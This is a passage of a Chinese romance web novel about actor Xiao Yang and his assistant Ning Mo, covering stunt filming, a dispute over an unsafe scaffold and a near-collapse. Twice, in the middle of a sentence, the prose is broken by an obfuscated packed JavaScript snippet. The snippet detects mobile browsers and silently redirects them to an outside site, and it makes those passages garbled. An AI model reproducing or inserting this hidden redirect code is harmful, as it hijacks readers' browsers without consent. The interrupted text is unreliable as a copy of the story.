说完他突然起身，头也不回地朝着片场里走，转眼就走到人堆里去了，只留给众人一个冷酷的背影。 宁茉：“……？” “谢谢谢谢，”王墨还在高兴，“多少钱？我转给你。” 宁茉说了个数，转头看着萧扬，问一旁的浦世诚：“他怎么了？” “谁知道，”浦世诚大口啃着坚果棒，“最近他一直这样喜怒无常的，可能是拍戏拍的吧。” 宁茉想了想，附和地点点头：“他最近压力确实有点大。” …… 外卖员的戏份也不好拍，萧扬要在不同的天气场景拍送外卖的戏，一会儿降雨一会儿刮风的，连宁茉站的远远的都被吹得够呛，更不用说场中那个人了。 一场暴雨戏拍完，萧扬里外的衣服已经全部湿了，宁茉有点担心，这么冷的天穿着湿透的衣服，体格再强壮的人也撑不下去。 “浦哥，”她问浦世诚，“你给萧扬带替换衣服了没有？” “带了，”浦世诚皱着眉，“但是也得等这场拍完啊。” 宁茉有点着急，却也没什么办法，只能看着萧扬在雨里奋力奔跑，雨水顺着头盔边缘流到脸上，模糊了视线，萧扬看不清路，跑着跑着脚下一绊，整个人摔飞出去。 “！”宁茉倒吸一口凉气，猛然紧握拳头，差点就要跑上前看看。 但萧扬反应更快，他摔倒时还护着外卖，此刻更是毫不犹豫地从地上爬起来，检查了一下外卖有没有洒，随后抱在怀里低着头继续往前跑，一路跑出场景，拍完了这一条。 “漂亮！”费书山没想到萧扬临场发挥这么优秀，激动地直拍大腿，“这条OK了！雨停！” 工作室所有人都松了口气。 萧扬去车里换衣服，目光向外一扫，没看到那道熟悉的身影。 “宁茉呢？” 浦世诚正在给他递衣服，听到他的话给了他一个白眼：“你换衣服，让人家女孩子来干嘛？” “……”萧扬冷冷瞥他一眼。 “不过宁茉刚才还在这儿呢，”浦世诚朝外看了看，“宋依依也不见了，她们可能……一起去卫生间了？” 萧扬转回视线，语气平静：“医药箱给我一下。” 浦世诚立刻警惕起来：“要医药箱干嘛？你哪儿受伤了？”——刚说完就看到了萧扬摔得一片青紫的膝盖，上面还在不断往外渗血。 “我艹！”浦世诚下意识爆了句粗口，“摔成这样你也不说！” 他开始手忙脚乱地找医药箱，萧扬套好上衣，拿条毯子盖在大腿上，气定神闲地等浦世诚。 …… “嘶……” “啊……” “诶呦……” “……”萧扬终于忍无可忍地抬头，“受伤的是我，处理伤口的也是我，你叫唤什么？” “我看着疼啊，”浦世诚呲牙咧嘴地坐在他对面，给他递纱布，“萧扬啊，你接这部戏，可真是吃够苦头了。” 萧扬没理他，低头包伤口。 浦世诚自顾自感叹道：“你说肖家要是知道了，得多心疼。” 萧扬很浅地笑了一声，没什么温度：“他们巴不得我受不了，然后早日滚回家里去。” “唉，”浦世诚摇摇头，“做少爷不好吗？我要是你，我才不吃这份苦，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694303|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天天开party左拥右抱，享受快乐人生！” 萧扬很冷地笑了一声：“那你的人生也够苍白的。” 浦世诚发出啧啧的声音：“萧扬，你其实挺厉害的。” 被他喊到的人眼都不抬：“才知道？” “娇气小少爷逐梦娱乐圈，”浦世诚概括道，“经历九九八十一难，最后人没红，倒是熬成了个苦瓜冰山脸。” “……”萧扬套上裤子，抬眼看向对面一脸欠样的男人，嘴角轻勾，“浦世诚，你5天没健身了，耽误的训练时长我都给你记着，等《风暴降临》拍完，咱俩慢慢算。” “！！！” 浦世诚医药盒都顾不上收拾，扭头冲下了车：“我还有事先走了！” 他头也不回地跑开，萧扬气的笑了一声，低头收拾着医药盒。 还没把东西归整，一个略带惊讶的声音已经响起：“怎么用到医药盒了？你受伤了吗？” 萧扬动作一顿，抬眼看过去，宁茉手里提着个保温壶，正疑惑地望着他。 萧扬一松手，利落地往后一靠，眉头紧皱，声音也压低了：“……膝盖破了。” 宁茉肉眼可见地倒吸了一口气，脸瞬间皱巴成一团：“果然，刚才摔那么厉害，我就想着会摔破的，你上药了吗？还疼吗？” “上过药了，”萧扬眸光始终定在宁茉脸上，语气竟然是难道的委屈，“不疼。” 宁茉的眉毛皱的更紧了，下午还要拍不少戏份，萧扬嘴上说不疼，脸色却是苍白的，也不知道会不会着凉。 想到这里，她立刻把手里的保温壶递出去：“我和依依去买了姜汤，你趁热喝。” 萧扬一怔，目光转向那个保温壶，很眼熟，似乎是宁茉带来剧组的，上次出场时，里面也装着姜汤。 不过这次，宁茉是为了他一个人买的。 站在车边的女孩还在忙碌，宁茉先是翻出萧扬的保温杯，往里面倒了满满一杯，又拿了个一次性纸杯，倒了小半杯，解释道：“保温壶里的有点烫，你先喝这个杯子里的，温度正好。” 萧扬伸手去接，一阵风吹过，宁茉放手又快，他差点没接住，洒了几滴出来。 宁茉这才注意到始终大敞着的车门，她弯腰上了车，转身关了车门，凑到萧扬面前：“不好意思。” “……”萧扬看着骤然拉近距离的宁茉，她身上有种很淡的甜香，不知道是香水还是洗衣液的味道，好闻到让人想多靠近一点。 为了确保艺人隐私，浦世诚租的这辆车贴的是标准防窥膜，车门一关，车里的光线顺便就变得昏暗，浮动的甜香更是迅速将萧扬笼罩。 ……是很容易让人意乱情迷的味道。 宁茉看他没说话也没喝姜汤，又问道：“还是很烫吗？” “……不烫，”萧扬收回视线，心不在焉地喝了一杯，手不自觉伸出，竟然将纸杯又给了宁茉。 宁茉会意，拎着保温壶又倒了一杯，举到他面前。 萧扬的目光有些散乱，他不受控地望着眼前的人，又一次次在对方看过来时避开视线，直到眼前出现了一个纸杯。 “？” 萧扬怔了一下，明白自己刚才的动作可能让宁茉理解为他还想喝。 “……” 宁茉一双大眼睛认真地看着他，萧扬只好接过那一杯，又是一饮而尽。 宁茉十分熟练地要去给他倒第三杯，萧扬忙阻止道：“……不用了。” 她这才放下保温壶，转身就去握车内门把手，竟然是要下车。 “等一下。” 萧扬说话比思考要快，等宁茉转过头看向自己时，才意识到自己喊了她一声。 “怎么了？” 宁茉看着他，萧扬换了一件新的外卖员外套，可即便是黄到乍眼的颜色，穿在他身上也是好看的，被淋湿的头发随意搭在额前，反倒像是精心设计的湿发造型，深邃的眉眼望着对方时，轻易地就能夺走对方全部的视线。 萧扬抿了抿嘴，声音放轻了些：“谢谢你的姜汤。” 宁茉看着他看的久了，竟然有点愣神，脸色微红，木木地点头：“……不用谢，是我应该做的。” 萧扬垂眸复又抬起，定定地看向宁茉：“作为回礼，我也有个东西要送给你。” 宁茉：“什么？” 萧扬很轻地笑了一声，不知道从哪里摸出了个盒子，抬手递到她面前。 “说好要给你的……奖品。” 35. 第 35 章 宁茉低头一看，品牌图标简约高级，是某个主打拍照的手机品牌，还是最新旗舰版的，价位高到宁茉自己绝对不舍得买。 她的眼睛瞬间就亮了，接过那个盒子抱在怀里：“谢谢！” 像是想到什么，宁茉突然又有点迟疑，目光重新望向萧扬，欲言又止。 萧扬低头笑了一声，语气显得善解人意：“你们三个都有。” 宁茉露出一个大大的笑容：“谢谢老板！老板最好了！” 萧扬看着她的笑容，微微一晃神。 美滋滋抱着三个新手机下车，宁茉第一时间跑去找了宋依依和王墨，给他们分享这个好消息，宋依依激动到原地转了几圈，说以后一定要好好给萧扬拍照、把他拍成绝世大帅哥，王墨和她一同去车前谢过萧扬，回来后新奇地研究了半天新手机。 三个人坐成一圈，探索着新手机的各种功能，萧扬则换好衣服，继续开始拍摄。 外卖员的戏份足足拍了四天，萧扬每天都在不同场景里高强度地奔跑，经常下了戏浑身都被汗湿透，狼狈地坐在地上喘息。 大多数时候，宁茉就站在场边拍视频，她把这些内容合并到一起，换了种转场方式，剪了一个三分钟的花絮视频出来。视频提交孙尚万审核时，还得到了他的大力好评，一个劲儿地夸宁茉剪的很好。 等外卖员的戏份拍完，就迎来了一个重头戏——逃亡。 这是剧中阑牧被发现行踪、一路逃亡的戏份，他智商高、反追踪意识强，好几次都在即将被围堵的边缘硬生生逃出去了，是一段非常精彩的戏，也是难度最大、最危险的一段戏。 逃亡戏需要拍三天，前两天是在暗道小巷、公园工地等地方拍摄，萧扬进组前没时间武训，跑酷戏都只能现场练，好在他身体素质够强、身手也矫健，难度小的戏都是几遍就过了，难度大一些的和替身配合起来，也顺利拍完。 而第三天的追逃，发生在一个废弃工厂。 这天是宁茉和浦世诚跟组，两个人都紧紧盯着现场的准备工作，萧扬已经提前到场地中心试走位，道具组也在紧张地铺设装备。 宁茉的目光移向不远处的一个废弃脚手架，这是个约六米高四米宽的脚手架，搭在楼房边，能直通工厂二楼，也是萧扬等会儿要攀越的道具，宁茉走到脚手架边看了一眼，脚手架是用花式钢管固定的，钢管直穿孔洞固定在锚固件上。 但也许是因为临时搭起来的脚手架，每个锚固点中间距离很远，宁茉晃了晃脚手架的钢管，听到钢材碰撞的哐哐声，总觉得不太稳当。 另一边，萧扬已经穿戴好威亚，在做热身准备了。 宁茉看向旁边道具组的负责人王跃：“您好，这个脚手架是不是不太牢固？固定点太少了吧？” 王跃看她一眼，随即挥挥手让她放心：“检查过了，安全。” “可是这个脚手架这么高，”宁茉试图解释，“底下只设置了四个固定点。” 王跃不耐烦地皱眉：“你又不懂这个，固定点上下都有，没事的，我们都提前测试过了！” “但是……但是我家里有亲戚是做工程的，我看他们搭这样的脚手架，是顶部、中部、底部都要固定的，”宁茉声音不急不缓，认真地跟他讲自己的看法，“就算只要上下固定，也应该最少要12个固定点才稳当，现在才8个，今天预报有4级东南风，我觉得这样很危险……” “你懂什么啊，在这儿胡说！” 王跃彻底失去了听下去的耐心，翻脸扭头就走了。 “……” 宁茉左右看了看，浦世诚不在现场，一时间找不到他，而剧组那边似乎马上就准备开拍了。 宁茉在剧组时一向存在感很低，很多人认识了宋依依却还不知道她，大多数时候她只是默默地做自己的本职工作，不和任何人打交道，也不去做引人注意的事情。 但此刻，宁茉望着不远处认真准备的萧扬，定定地看了他几秒，咬了咬牙，转身走向副导演宫原。 连着几天的追逐戏都是宫原主拍的，他累的眼圈发青，脾气也越来越差，刚劈头盖脸地骂完助理，余光就看到萧扬身边常跟着的一个小助理走到了他面前，轻声看着他开口：“宫导，我想跟你说一下，那个脚手架可能需要再加固一下……” 一句话没说完，宫原的眉头已经皱了起来，不过他还没发话，旁边的助理先发制人：“你什么意思？质疑我们？” “我不是这个意思，”宁茉朝他看过去，认出他就是常跟在宫原身边的“彬哥”，也是之前对接时莫名其妙冲自己发脾气的人。 她继续说道：“是固定点确实有点少了，今天预报有风，如果拍摄的时候起风了，脚手架有可能不稳。” 彬哥翻了个白眼：“你一个女的能懂什么？我们都是找专业的师傅安装的！昨天就提前试过了！稳得很！” 宁茉：“可是……” “你别在这儿耽误拍摄进度！”彬哥声音猛地大了起来，“马上天要黑了，今天这场必须在天黑前拍完！” 宁茉深吸一口气，意识到对方根本没有听进去她的话。 “我不是在耽误进度！”宁茉的声音突然也大了一点，双眼直视着对方，语气坚定，一字一句道，“你们要对演员的安全负责！” “……”彬哥显然没想到看起来柔柔弱弱的女孩子会突然变得这么强势，愣了一下，“你……” “行了，”宫原突然发话了，他举起对讲机，“王跃，过来。” 道具组负责人王跃立刻小跑着一路赶过来，快的恨不得背后卷出一阵风来：“怎么了宫导？您说。” 宫原一只脚踩在导演椅上，冷冷地瞪着他：“那个脚手架的安全性能你们测试了吗？” “……”王跃脸色顿时一白，他愤怒地看了一眼宁茉，大声道，“昨天搭好以后我们上去三个人试了！一点问题没有！宫导您放心！” 宫原这才回过头，不带什么笑意地看向宁茉：“听到了？” 宁茉：“……” 说了半天，等于白说。 宫原不再分出视线看她，摆了摆手：“准备开拍。” “等一下！”宁茉捏紧拳头，着急的声调提高了一度，“起码再检查一下……” 宫原这次是真的烦躁了，猛地吼道：“你他妈有病？让开！！” 他没有关对讲机，声音很大，半个片场都听到了。 萧扬一抬头，就清晰地看到站在不远处宫原身边的瘦长身影，她脸色苍白，直直地盯着对面身形高大的男人，却丝毫没有要退让的意思。 抬手快速拽掉威亚的固定锁扣，萧扬大步跑了过来，伸手拉住宁茉的手臂把她猛地拉到了自己身后，挡在宫原面前，转身低声道：“怎么了？” 这句话是对宁茉说的。 宁茉看向他，解释道：“脚手架固定的不稳固……我觉得，想让他们加固一下。” 她毕竟不是专业的，不敢下定论，只是凭过去的经验觉得那个脚手架没有固定好，便也只能在不稳固后面加一句“我觉得”。 尽管她语气平和地说话，被当众奚落的感觉也并不好受，宁茉说完便低下头抿着嘴，竭力控制住情绪。 萧扬紧紧盯着她，抓着她手臂的手不自觉用力，又意识到自己的失态，慢慢松手，随后转身面向宫原。 转身的瞬间，萧扬的眼神变得犀利起来：“宫原，她是我的助理，你对她说话客气点。” 宫原看到萧扬来了，把踩在椅子上的腿收了回来，试图打哈哈：“不好意思啊，刚才着急了，主要是天快黑了，得抓紧拍，而且她又不懂这行，我们都做过安全测试了。” 萧扬冷声问：“找谁做的安全测试？” 宫原瞪一眼王跃，王跃慌忙接话：“昨天我们已经有三个工作人员套着威亚爬过楼了，稳得很。” 萧扬冷笑一声：“所以没找专业人士，是吗？” 宫原：“……” 这话一出，周围几个人脸色都不太好看，萧扬是陈昌专门请来的，这些天也一直尽心尽力配合着剧组，大家都以为他是个好脾气的人，此刻骤然见他露出这么冷厉的一面，都有点发懵，一时间竟然谁也不敢对上萧扬的目光。 萧扬声音压的很低，眼底更是酝酿着墨色风暴：“陈导的剧组就是这么做安全措施的？我的助理担心我，要你们加固，她有错吗？你们有想过万一出了问题，谁能负责吗？” 他毫不留情的三连问让宫原难以招架，嘴角都有点抽搐，咬着牙说道：“……王跃，你再去找个专业人士过来看看。” 王跃不敢耽误，转头就去打了电话。 萧扬最后看了宫原一眼：“拍摄暂停，如果今天耽误了拍摄，是你们的问题。” 说完他拉着宁茉，头也不回地往场外走。 他走得很急很快，宁茉差点跟不上他的步伐，手臂又被人拉着，小跑两步才勉强跟上，她思维有些混乱，但竟然还有多余的心思想：萧扬的情绪有些过于激动了。 直到走到工厂旁边的空地，避开剧组众人的视线，宁茉还没站稳，萧扬已经转身拉住她，一只手扶在她肩上。 “没事吧？” “……”宁茉抬眼看向他，下意识想说没事，却在对上萧扬的双眼时怔住了。 萧扬那双漂亮的桃花眼一向是他的圈粉利器，无往不利，但此刻宁茉面前的萧扬，眸中溢满了关心和内疚，情真意切到……让人不敢多看。 萧扬望着她，语气低沉：“为什么不先来找我？那些人傲慢无礼，根本不会和你讲道理。” 一句话说完，萧扬又垂下眼，声音更低：“……对不起，让你受委屈了。” 宁茉蓦然睁大了眼。 萧扬眼底尽是复杂的情绪，内疚、担心和无力感交织涌现，他的目光追随着宁茉每一个细微的动作：“是我的问题。” “不，我……”开口的瞬间，宁茉才发现自己嗓子哑了。 她快速地眨了几下眼，感觉眼眶酸困，鼻子也是酸的：“我没……” 像是有什么在不受控制地疯长，绕过她的理智、屏蔽她的想法，疯狂地、疾速地冲撞着她的心脏。 内心的堤坝轰然崩塌，在爆发的前一刻，宁茉下意识转过身死死咬住嘴唇，不让异样的情绪泄露分毫。 有风猛然吹过，穿过废弃工厂的管道，传出呜咽般的回声，有沙石飞扬起来，又很快旋转着随风飘散，像一场场起伏的幻雾。 在剧烈的风声中，宁茉听着自己哽咽的呼吸声，双手不住地颤抖。 不可以哭。 她已经在萧扬面前哭过一次了 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他怔了一瞬，眼底带了几分茫然无措，像是没有预料到宁茉的突然躲避，随后他垂下眼，手指缓缓捏紧又松开，最终无声地放下。 又过了几秒，萧扬重新抬眼，目光执拗地盯在宁茉身上，对方的肩膀微微抖动，脊背僵直，明明已经撑到了极限，却不肯透露哪怕一丝软弱，就好像她已经习惯了这样一般。 萧扬放软语气：“宁茉，无论发生了什么，都还有我。” 宁茉没有转过身来，只是摇了摇头，声音微微颤抖。 “你别担心，我没有生气。” “……”萧扬定定地看着她，对方没有生气，可她的语气却无端地让人心底发慌，彷佛有什么念头一闪而过，快得他来不及抓住。 风停了，周遭一片寂静，直到一个声音突兀地响起：“怎么了怎么了？！” 是浦世诚，他听说剧组发生的事，赶了过来，追到两个人身边。 “宁茉，我听说宫原骂你了？！你没事吧？” 宁茉情绪已经慢慢平复下来，转头看着他，面上一片平淡，摇头道：“浦哥，我没事。” 浦世诚气的牙痒痒：“他妈的，那群人平时嘴里就不干不净的，现在连我们宁茉都敢骂，真是他妈给他们脸了！这事儿我非得找陈昌要个说法，不让他们道歉我就是孙子！！！” “……”宁茉看他的模样比自己愤怒多了，赶忙安慰道，“没事的哥，我不生气。” “什么没事！简直是欺人太甚！” “要不是陈昌求爷爷告奶奶，谁会来接这么一个苦差，天天挨打还不够，还要挨骂？！没这个道理！” “还有那个鳖孙宫原，天天牛逼的跟天王老子一样，我他妈今天非跟他干一架不可，敢欺负我们的人……” 听着浦世诚一连串输出的脏话，萧扬皱了皱眉，默默挡在了宁茉前面，朝她摇摇头，试图让她屏蔽掉这些脏话。 宁茉这下是真的被逗笑了，她揉了揉鼻子，没忍住笑了出来。 …… 另一边，王跃找来专业人士，围着脚手架转了一圈，开口就是一句：“固定点确实有点少了，最少要12个才行。” 这话一出，王跃惊异地看了一眼场边的方向：“……还真说对了？” “加固吧，”对方说道，“为了保险，再加6个固定点。” 一群人开始施工，王跃擦了擦汗，和宫原汇报这件事，毫不意外地又被骂了一顿。 等脚手架加固完毕，萧扬走到场中间，重新扣上威亚的固定锁扣，开始争分夺秒地拍摄这一场攀越戏。 他动作很快，拉住钢管，借着威亚的力量几步就跳上了平台，从二楼的窗边侧身滚了进去，身形干脆利落。 随后他吊着威亚下来，又拍了几遍，把特写和远景都拍完，站到一边等饰演警察的几个人拍追着他往上攀爬的戏份。 就在这时，突然起风了。 这阵风来的势头强劲，几乎是瞬间就掀开了场地边的建材板，不偏不倚地砸向脚手架，发出“嘭！！！”的巨大声响。 突变来的太快，所有人都是一惊，站在脚手架边的几个人听到身后钢管晃动的声音，吓得脸色发白转头就跑，好在脚手架只是猛地晃了一下，没有真的倒下。 “怎么回事？！”宫原立刻喊道。 王跃忙跑过来看，这阵风来的突然，但其实也并不突然，毕竟刚才有个女孩子已经向他提前预告过，只是那时他不以为然。 工厂地面是松软的砂土地，本来就容易松动，再加上这阵强风的助推，脚手架底下的锚固件松动了大半，庆幸的是剩下的几个新加固的锚固件还□□着，没有让脚手架倒下来。 如果刚才没有加固那几个锚固件，现在脚手架很可能已经塌了，片场到处都是人，不管脚手架往哪个方向倒，都是一次后果严重的危险事故。 在场众人都出了一身冷汗，就连不远处的浦世诚都擦了擦额头，忍不住说道：“我艹，吓死我了，还好没出事。” 他抚了抚胸口，庆幸道：“宁茉啊，萧扬招你来真是个正确决定。” 宁茉一怔，转头看向浦世诚：“……什么？” 36. 第 36 章 这话说完浦世诚自己也一愣，拍了下自己的后脑勺，嘿嘿一笑：“哦，我是说……你们的简历都是萧扬亲自看过的，他真的很会挑人。” 宁茉面对这突如其来的夸奖有些不好意思，笑着点点头。 浦世诚则又转身擦了一把汗，什么亲自看过简历，明明是萧扬当时莫名其妙地问了一句有没有一个叫宁茉的人投了简历，他还没反应过来，萧扬就说，如果有她，留下她。 后来浦世诚真找到了她的简历，不确定地拿去给萧扬，问是这个人吗，萧扬只看了一眼简历上的照片，就点了头。 可到后来宁茉真的来了，萧扬又突然警告浦世诚，不准把宁茉是他自己定的这件事告诉任何人，尤其是—宁茉本人。 浦世诚既好奇又纳闷，这宁茉的简历看起来平平无奇，人也安静的像个隐形人，除了长得好看，实在不知道比起其他专业对口学校又知名的求职者有什么优势，毕竟他们是招助理，又不是招艺人。 可宁茉来的这一个多月，真的和她接触过，浦世诚就觉得萧扬实在太会挑了，从哪儿找宁茉这么一个又全能又细心、还能让萧扬听话的助理啊！ 他已经决定了，如果三个助理只能留一个，他就留宁茉，如果工作室最后没选定宁茉，他自己付工资都要把宁茉留下来。 …… 赶在日落之前，这场戏终于拍完了，所有人如释重负，松了一口气。 至此，萧扬单人的镜头就全部拍完了，后面就是需要补拍的和海文成几个主演的对手戏了。 大家纷纷收拾东西收工，浦世诚揽住萧扬的肩膀：“辛苦了，晚上请你吃羊肉锅，大补！” 萧扬面无表情：“不吃。” “别啊，工厂旁边有一家，二十多年的老店了，味道那叫一个地道，羊肉巨香！” 萧扬目光移到宁茉身上，发现她正双眼亮晶晶地望着浦世诚，似乎对那个羊肉锅很期待。 “……”脚步一顿，萧扬妥协般看向浦世诚，“店在哪儿？” …… 宋依依和王墨听说要去吃涮羊肉，收拾东西的速度都加快了，五个人提着大包小包往停车场走，还没走到车前就看到迎面来了个人，是宫原的助理彬哥。 浦世诚第一个停下脚步，他脸上瞬间变得愤怒：“妈的，我还没找他的事他倒先来了！” 彬哥朝他们走过来，还没等浦世诚脏话骂出口，已经抛来一个响亮的“对不起！” 声音洪厚，是朝着萧扬的方向喊的。 先前发生冲突的时候，宋依依和王墨正好不在场，此刻他们互相茫然地对视着，一头雾水。 萧扬则向前两步走到宁茉身旁，脸上似笑非笑：“宫原让你来的？” 彬哥点点头，努力在脸上挤出点歉意：“真对不起啊，刚才是我们态度不好，也不够专业，陈昌导演已经骂过我们了，以后剧组所有的安全设施都会先经过专业人士的检测，希望萧老师不要介意今天的事情。” 萧扬没说话，转头看了眼宁茉，又问他：“只和我道歉？” “还有助理老师，”彬哥立刻朝着宁茉鞠了一躬，“对不起！” “……”宁茉一时间没反应过来，彬哥这两幅面孔对她来说太过陌生，她摸不准该怎么回应。 萧扬语气冷淡：“她叫宁茉。” “对不起，宁茉老师！”彬哥再次道歉，“实在抱歉！” 浦世诚没想到对方先发制人，原本准备好的一肚子脏话都憋了回去，十分郁闷，此刻也只能冷笑一声：“算陈昌这小子有点良心。” 萧扬侧过头，看着刚刚回过神的宁茉，用只有她听得到的声音说：“你可以不原谅他。” 这声音竟无端带了点蛊惑，宁茉犹豫了一瞬，还真的思考过要是她说不原谅会怎么样。 但她到底还是明白利害的，这是常年跟着陈昌导演的人，以后还要打交道，没必要得罪，而且经过这么一遭，宫原对他们的态度会可以预见地转变。 “没关系，都是为了工作嘛，”宁茉笑笑，“以后好好合作。” 彬哥肉眼可见的松了口气，又和他们说了半天感谢的话，才离开停车场。 他的身影一消失，宋依依就第一时间开始八卦：“怎么了怎么了？他为什么来道歉？刚才发生什么了？” 浦世诚趁着他们往车里放东西的空隙，将事情经过简单讲了一遍，立刻换来了两个义愤填膺的人。 “太过分了！！怎么敢骂茉茉啊！！！” “是啊，要不是宁茉，他们现在指不定都在医院呢！” “道歉也太便宜他们了！我看让茉茉骂回去才行！” 浦世诚也附和道：“宫原那鸟蛋要是诚心道歉，就不会让阿彬来了，做做样子而已。” 宋依依：“这也太过分了吧！” “……好了，”眼看三个人一唱一和，再说下去就要回去打人了，宁茉主动开口，“我早就不生气了，别说他们了，不要为了他们影响我们吃饭的兴致。” 萧扬的目光从始至终都在宁茉身上，此刻听到她开口，很轻地笑了一声。 这笑声偏偏只有宁茉听见了，她立刻看了回去，萧扬这笑声的含义她十分清楚：笑她总是这么大度，很轻易地就能原谅别人。 萧扬瞥见她望过来的神色，笑容一僵，眨了眨眼，补偿般微笑道：“等会儿你想吃什么，随便点。” 宁茉扭过头，走到副驾驶边伸手打开车门，随口回了一句：“我没什么特别想吃的，倒是你，我希望你能多吃点。” 连着五天的重体力戏消耗了萧扬极大的体力和精力，他的脸颊比进组时更加消瘦，身形也显得愈发单薄，倒更有了几分被退学后颠沛流离的少年模样，只是和原先的萧扬比起来差距太大，很难不让人心疼。 萧扬显然没想到宁茉会说这么一句话，微微一愣，随后又笑了：“好，听你的，我多吃一点。” “……” 这回应听着有些奇怪，宁茉揉了揉耳根，面上没什么反应，“啪”的一声关上了车门。 羊肉锅果然香气扑鼻，五个人吃的嘴满肚撑，摇摇晃晃地回了酒店。 宋依依照旧倒头就睡，宁茉都有点羡慕她的睡眠质量，她摸出平板，继续最后两幅没完成的画稿。 原定的交稿日期是一个月后，现在不到十天她就完成了四幅画，自己都觉得自己效率惊人。 画着画着，宁茉却突然有点走神。 白天在剧组发生的事情始终在脑海里不断闪回，宁茉有点懊恼，明明事情都过去了，怎么她还在一直回味？当时是不是真该听浦世诚的骂回去…… 但很快宁茉就意识到，她在想的不是宫原那些人，而是萧扬。 是萧扬第一时间冲过来挡在她前面，是萧扬声色俱厉地和剧组翻脸，是萧扬捧着她的肩膀、问她有没有事。 “……” 宁茉一松手，任由平板面朝下陷在被子里，自己也跟着陷了下去，像一滩液体滑进了被窝里。 真是完蛋了，失眠也就算了，还在想自己的老板。 一定是萧扬那张脸长得太好看了，做什么都自带氛围感，才会让正常交流都变得染上暧昧的痕迹。 被子盖住脸，宁茉闭眼试图清净一会儿，却莫名有了困意，她于是全然放松下来。 ——早晨六点，宁茉睁开眼，第一反应是，她竟然睡着了？ 坐起来揉了揉脑袋，像是不确定般，宁茉又看了眼手机，确定自己睡了起码四个小时。 这是非常难得的体验，宁茉心情大好，甚至下楼散了散步，才回来洗漱。 七点，宋依依艰难睁眼关掉闹钟，正对上宁茉精神奕奕的脸，目光呆滞地往下一扫，看到宁茉连衣服都穿好了，宋依依彻底崩溃了。 “茉茉……！！！你真的太卷了，你有这么自律的性格进入娱乐圈，你做什么都会成功的。” 宁茉笑呵呵拉着她的胳膊起来，劝她快去洗漱，半个小时后就要出发去剧组了。 …… 剧组里十分热闹，今天是海文成来剧组报道的第一天，女主演周杉据说下午也会来，剧组的工作人员满脸都是笑容，都在和海文成问好。 海文成穿着舒适的运动套装，整个人看起来没有一点架子，笑呵呵地和每个人打招呼，还给众人点了早茶，一大早就堆满了长桌，萧扬几人到剧组时，正赶上发福利。 萧扬和浦世诚先去和海文成打招呼，宁茉和宋依依则去领了四份茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720801|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点拿回来开始拆包装，拆着拆着，宁茉遥遥地听到萧扬似乎在喊她的名字。 抬头看过去，萧扬就站在海文成身边，正向着她招手。 “宁茉，过来。” 宁茉一顿，停下手中的动作，小跑着过去：“怎么啦？” “海老师，这是我的助理，宁茉，”萧扬却突然转向海文成，语气礼貌客气，“她很喜欢你。” 宁茉瞬间瞪大眼：“？” 海文成笑着看向她：“你好。” “……”宁茉的脸立刻就红了，她像个被强制拉出来社交的i人，从头到脚都透露着局促不安，说话也开始结巴，“海、海老师您、您好！” 萧扬却坦然自若地看着她：“不和海老师合张影吗？” “啊？……呃、这个……”宁茉的语言系统有点崩乱，艰难措辞，“这、有点影响海老师……工作了吧……” “不影响不影响，”海文成倒是笑的大方，“来，帮我和这位小粉丝拍个合影。” 宁茉愣愣地站着，任由萧扬打开相机，很随便地拍了张她和海文成的合影。 随后海文成被导演拉过去讲戏，宁茉原地僵硬了半天，终于回过神，抬眼看向萧扬，表情带了点咬牙切齿：“萧扬你干什么？” 萧扬眨眨眼：“你不是喜欢海文成吗？” “我什么时候……”一句话说到中间宁茉就蓦然打住了，因为她突然反应过来，自己确实说过这句话——就在不久前。 “我……我是喜欢他，”宁茉咬着牙认下这句话，立刻又接着说道，“但是也没有那么喜欢，我就是、我就是喜欢看他的剧而已。” 言外之意，她不是海文成的粉丝。 萧扬微微扬了扬眉毛：“哦？” 他带些好奇地看着宁茉：“那你特别喜欢谁？” 这问题问的宁茉一怔，抬头望着他。 萧扬轻咳了一声，补充道：“……我是说，你喜欢哪个明星？——不管是谁，我都可以帮你联系，就当是给你的……特别福利。” “……”宁茉眨眨眼，目光在萧扬脸上转了一圈，又略带心虚地看向地面，“我……不追星。” “……哦，”萧扬点点头，尾音却莫名有些上扬，“从来不追？” 宁茉摇摇头：“……不追。” 萧扬继续问：“也……没有追过线下、探过班，是吗？” 宁茉一顿，语气更心虚了，坚持道：“当然……没有。” 萧扬语气轻松：“哦。” “……” 宁茉总觉得萧扬语气不对劲，却摸不透对方到底什么意思，纠结了几秒，觉得自己还是先远离他比较好，被他这样注视着，思绪都乱了。 扭头往人群外走了两步，宁茉又突然回头对着他喊道：“对了，刚才的合影记得发给我。” 拍都拍了，还是拿着看看吧。 萧扬：“……” 眉眼瞬间又降了下来，萧扬轻嗤了一声，略带不爽地点开和宁茉的对话框，把那张照片发了过去。 发完又动作很快地要删照片，手指在确认框上悬了两秒，终于还是没有点下去，转而把图片截了一半，只留了宁茉那一侧。 微信那头很快传来消息。 [宁茉：好丑] [萧扬：？] 对方的文字似乎都透着愤怒。 [宁茉：你拍照的时候看了吗？怎么能把两个人都拍的这么丑，都变形了……] 萧扬：“……” 他又翻回相册看了眼照片，哪里丑了，挺可爱的啊。 [宁茉：啊啊啊萧扬以后我再也不让你给我拍照了！] “呵……”没忍住笑了一声，萧扬想象着不远处宁茉崩溃的神情，只觉得有趣。 “你干嘛呢？”浦世诚就站在他旁边，看着他莫名其妙的笑容，“不背台词，在这儿笑什么？” 萧扬心情大好：“在和小骗子聊天。” 